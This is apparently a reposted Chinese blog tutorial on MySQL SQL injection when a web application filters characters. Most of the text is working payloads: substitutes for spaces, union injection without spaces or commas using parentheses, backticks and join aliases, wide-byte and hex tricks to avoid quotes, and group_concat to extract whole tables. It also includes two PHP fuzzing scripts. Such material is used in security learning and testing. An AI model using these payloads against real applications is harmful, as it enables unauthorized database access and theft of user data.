对于 MySQL 的注入, 基本上是每一名 web 安全从业者入门的基本功, 这里不多废话, 结合本人无聊时在 MySQL 上的测试, 来谈一谈 MySQL 在过滤某些特殊字符情况下的注入, 因为是想到哪写到哪, 文章比较散, 各位大佬请绕过, 和我一样的小白可以看一看, 温故而知新, 必有所获.
PHP 查询 MySQL 的后台脚本就不搭了, 没有多大意义, 直接从 MySQL 控制台开始测试. 首先从最简单的开始:
直接使用 MySQL 系统库做测试:
我们假设在 user 后存在注入点: 那么在利用 order by 获得列数后进行 union 注入:
现在开始增加难度, 假设后端代码过滤了空格, 我们可以替换空格的方法很多:/**/,0x0a,0x0b,0x0c,0x0d:
上图使用 /**/ 替换空格
上图使用 0x0a 号字符替换空格, 注意: 按住 alt 键 + 小键盘输入 10 再松开 alt 键即可在控制台中输入 ascii 字符 0x0a
上图使用 0x0b 号字符替换空格, 注意: 按住 alt 键 + 小键盘输入 11 再松开 alt 键即可在控制台中输入 ascii 字符 0x0b
上图使用 0x0c 号字符替换空格, 注意: 按住 alt 键 + 小键盘输入 12 再松开 alt 键即可在控制台中输入 ascii 字符 0x0c
上图使用 0x0d 号字符替换空格, 注意: 按住 alt 键 + 小键盘输入 13 再松开 alt 键即可在控制台中输入 ascii 字符 0x0d, 但因为在控制台中一旦输入 0x0d, 就会执行指令, 所以这里只在 union 前输入了一次.
做到这里我们可能会想, 除了这些字符外还有没有其它字符可以替换空格呢, 我们 fuzz 一下:
- <?PHP
- $mysqli = new mysqli('localhost', 'root', '','mysql');
- if ($mysqli->connect_errno) {
- die("could not connect to the database:\n" . $mysqli->connect_error);
- }
- $i=0;
- while($i++<256){
- $sql = "select host,user from user where user='a'".chr($i)."union".chr($i)."select 1,2;";
- $res = $mysqli->query($sql);
- if ($res) {
- echo "Ok!:$i:".chr($i)."<br>";
- }
- }
- $mysqli->close();
- ?>
将以上代码存为 1.PHP, 放入 apache 中网页访问, 显示结果:
可以发现, 除了我们刚刚使用的 0x0a,0x0b,0x0c,0x0d 外还有 9 号与 160 号字符可以替换空格 (32 号本身就是空格, 35 是注释符不能查询获得正确结果, 9 号是 tab, 刚刚漏了, 至于 160 号字符为什么行, 我也不知道, 那位哥如果知道可以告诉大家).
进一步思考: 如果这些字符都被过滤了, 有没有办法不依靠空格来注入呢, 办法还是有的, 看下面的语句:
在这个语句中:
select host,user from user where user='a'union(select`table_name`,`table_type`from`information_schema`.`tables`);
利用了括号, 反引号来隔离了 sql 关键词与库名表名列名, 完成了注入.
接下来继续提高难度, 我们的注入语句中有许多逗号, 看了让人不爽, 如果把逗号也过滤掉, 我们有没有办法注入呢, 方法还是有的, 我们可以结合 join 语句和子查询的别名来替换逗号, 看下面的语句:
在这个语句中, 我们利用 join 与别名, 成功的避免使用逗号实现了注入:
select host,user from user where user='a'union(select*from((select`table_name`from`information_schema`.`tables`where`table_schema`='mysql')`a`join(select`table_type`from`information_schema`.`tables`where`table_schema`='mysql')b));
玩到这里, 我脑洞忽然大开: MySQL 的子查询别名是可以无限嵌套的么, 像俄罗斯套娃一样, 下面的语句可以无限扩展么, 会不会出现溢出呢:
为了验证, 我又进行了一次 fuzz, 将下面的代码存为 2.PHP, 放入 apache 中网页访问:
- <?PHP
- $mysqli = new mysqli('localhost', 'root', '','mysql');
- if ($mysqli->connect_errno) {
- die("could not connect to the database:\n" . $mysqli->connect_error);
- }
- $i=1;
- $sql = "select'1'";
- while($i++){
- $alias='a'."$i";
- $sql = "select*from(".$sql.")$alias";
- $res = $mysqli->query($sql);
- if(!$res){
- echo $mysqli->error;
- break;
- }else{
- echo $sql."<br>";
- }
- }
- $mysqli->close();
- ?>
结果如下:
- select*from(select'1')a2
- select*from(select*from(select'1')a2)a3
- select*from(select*from(select*from(select'1')a2)a3)a4
- select*from(select*from(select*from(select*from(select'1')a2)a3)a4)a5
- ......
- select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select*from(select'1')a2)a3)a4)a5)a6)a7)a8)a9)a10)a11)a12)a13)a14)a15)a16)a17)a18)a19)a20)a21)a22)a23)a24)a25)a26)a27)a28)a29)a30)a31)a32)a33)a34)a35)a36)a37)a38)a39)a40)a41)a42)a43)a44)a45)a46)a47)a48)a49)a50)a51)a52)a53)a54)a55)a56)a57)a58)a59)a60)a61)a62)a63)a64
- Too high level of nesting for select
可以看到在嵌套 64 次后, MySQL 输出了 "Too high level of nesting for select" 的错误信息, 也就是说我们最多用 MySQL 进行嵌套子查询 64 层.
继续回到正题上, 再来看刚刚的语句:
select host,user from user where user='a'union(select*from((select`table_name`from`information_schema`.`tables`where`table_schema`='mysql')`a`join(select`table_type`from`information_schema`.`tables`where`table_schema`='mysql')b));
在库名, 表名, 列名不带空格,*,{,} 等特殊符号的情况下 (我猜想反引号的存在本来就是为了这类特殊库名表名列名准备的), 语句中的反引号也可以用括号代替, 变成下面的语句, 这样即使过滤了反引号也可以实现注入:
select host,user from user where user='a'union(select*from(((select(table_name)from(information_schema.tables)where(table_schema)='mysql')a)join(select(table_type)from(information_schema.tables)where(table_schema)='mysql')b));
如果存在宽字节注入, 那么即使过滤了单引号, 我们也可以注入, 这时语句变成这样:
select host,user from user where user='a?'union(select*from(((select(table_name)from(information_schema.tables)where(table_schema)=0x6D7973716C)a)join(select(table_type)from(information_schema.tables)where(table_schema)=0x6D7973716C)b));
在注入点处使用宽字节绕过 \, 将后面的数据处替换成十六进制, 来避免了单引号.
其他技巧:
某些 Web 应用只取查询结果的第一行, 这时可以使用 group_concat() 来获取完整数据, 例如:
select host,user from user where user='a?'union(select*from(((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=0x6D7973716C)a)join(select(table_type)from(information_schema.tables)where(table_schema)=0x6D7973716C)b));
也可以多加几个条件判断来逐行获取所要的数据:
select host,user from user where user='a?'union(select*from(((select(table_name)from(information_schema.tables)where(table_schema)=(0x6D7973716C)and(table_name)!=(0x6462)and(table_name)!=(0x67687478).......)a)join(select(0x77)from(information_schema.tables)where(table_schema)=0x6D7973716C)b));
来源: http://www.tuicool.com/articles/Q73aimb